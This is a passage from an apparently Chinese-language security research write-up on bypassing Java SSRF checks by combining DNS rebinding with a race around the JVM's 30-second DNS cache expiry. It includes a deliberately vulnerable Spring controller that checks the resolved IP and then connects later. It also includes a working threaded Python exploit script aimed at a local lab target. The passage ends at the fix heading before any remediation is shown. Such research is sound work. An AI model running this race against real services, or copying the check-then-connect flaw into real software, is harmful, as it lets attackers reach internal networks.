Java中DNS请求成功的话默认缓存30s(字段为networkaddress.cache.ttl,默认情况下没有设置),失败的默认缓存10s(字段为networkaddress.cache.negative.ttl,默认为10s)。缓存时间在 /Library/Java/JavaVirtualMachines/jdk /Contents/Home/jre/lib/security/java.security 中配置。# The Java-level namelookup cache policy for successful lookups:## any negative value: caching forever# any positive value: the number of seconds to cache an address for# zero: do not cache## default value is forever (FOREVER). For security reasons, this# caching is made forever when a security manager is set. When a security# manager is not set, the default behavior in this implementation# is to cache for 30 seconds.## NOTE: setting this to anything other than the default value can have# serious security implications. Do not set it unless# you are sure you are not exposed to DNS spoofing attack.##networkaddress.cache.ttl=-1# The Java-level namelookup cache policy for failed lookups:## any negative value: cache forever# any positive value: the number of seconds to cache negative lookup results# zero: do not cache## In some Microsoft Windows networking environments that employ# the WINS name service in addition to DNS, name service lookups# that fail may take a noticeably long time to return (approx. 5 seconds).# For this reason the default caching policy is to maintain these# results for 10 seconds.##networkaddress.cache.negative.ttl=10那么思考这样一个问题,如果刚刚好到了DNS缓存时间,此时更新DNS缓存,那些已经过了SSRF Check而又没有正式发起业务请求的request,是否使用的是新的DNS解析结果呢,如下图所示:以域名ssrf.test.com 为例,当request_1、request_2、request_3刚通过SSRF Check,此时正好DNS缓存过期,而这三个请求处在中间态还没有真正发出去。此时又来一次ssrf.test.com 的请求,此次DNS解析为内网地址,显然它无法经过Check,但它已经保留在了DNS缓存,对于处在中间态的还未发出去的请求,则会使用缓存中的内网地址,以此达到SSRF的效果。也就是说Java也是存在Rebinding的问题,不过这种利用思路需要将SSRF与时间竞争结合。 四、思路验证 我们构造如下实验代码:package com.springboot.controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;import java.io.*;import java.net.HttpURLConnection;import java.net.InetAddress;import java.net.URL;import javax.servlet.http.HttpServletRequest;@RestControllerpublic class TestController { @RequestMapping("/test") public String test(HttpServletRequest request) throws FileNotFoundException { String msg = ""; try{ String domain = request.getParameter("domain"); URL url = new URL(domain); String host = url.getHost(); InetAddress ip = InetAddress.getByName(host); if(isPrivateIp(ip)){ System.out.println("isPrivateIp"); return "IP ERROR"; } //do something Thread.sleep(500); HttpURLConnection httpURLConnection = (HttpURLConnection) url.openConnection(); httpURLConnection.connect(); int code = httpURLConnection.getResponseCode(); if (code == 200) { // 正常响应 // 从流中读取响应信息 BufferedReader reader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream())); String line = null; while ((line = reader.readLine()) != null) { // 循环从流中读取 msg += line + "\n"; } reader.close(); // 关闭流 } }catch (Exception e){ System.out.println("error"); System.out.println(e.toString()); } return msg; } private boolean isPrivateIp(InetAddress ip) { String ipString = ip.getHostAddress(); if (ip.isSiteLocalAddress() || ip.isLoopbackAddress() || ip.isAnyLocalAddress()) { // 判断是否为 10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 || 127.0.0.0/8 || 0.0.0.0 return true; } // 判断是否为 100.64.0.0/10 if (ipString.startsWith("100")) { int x = Integer.parseInt(ipString.split("\\.")[1]); return x >= 64 && x <= 127; } return false; }}DNS 解析规则设置如下,解析1次外网,解析1次内网请求。在第一次DNS请求成功解析的情况下,188的外网IP会被缓存30秒,30秒过后开始解析10的内网IP。被解析的那个请求并不会通过isPrivateIp函数的Check,但在30秒的临界点上,会有少量请求经过Check但还没有发出去,此时Java JVM的缓存却已经改变了,最终中间态的少量请求实际是向10的内网IP发起的。
启动服务,使用burpsuite发起请求,如下图所示,在30秒多一点请求200多次的时候利用成功(解析内容是我们SSRF靶场)。 其实理论上只要在发起第一次请求后等到30秒之前的时候再请求即可,这样应该可以在更少的请求次数内完成漏洞利用。经过实验(代码如下),最少用20次左右的请求即成功执行,在实战中这与服务的并发数量和代码的处理逻辑有关。#!/usr/bin/env python3import requestsimport threadingimport timecount = 0def run(): global count count += 1 r = requests.get("http://127.0.0.1:8080/test?domain=http://ssrf.test.com") if "2lir6iNQqki1IDcdxr" in r.text: print(r.text) print(count) return r.textif __name__ == '__main__': print(run()) time.sleep(26) while(True): t = threading.Thread(target=run) t.start() time.sleep(0.1) 五、 修复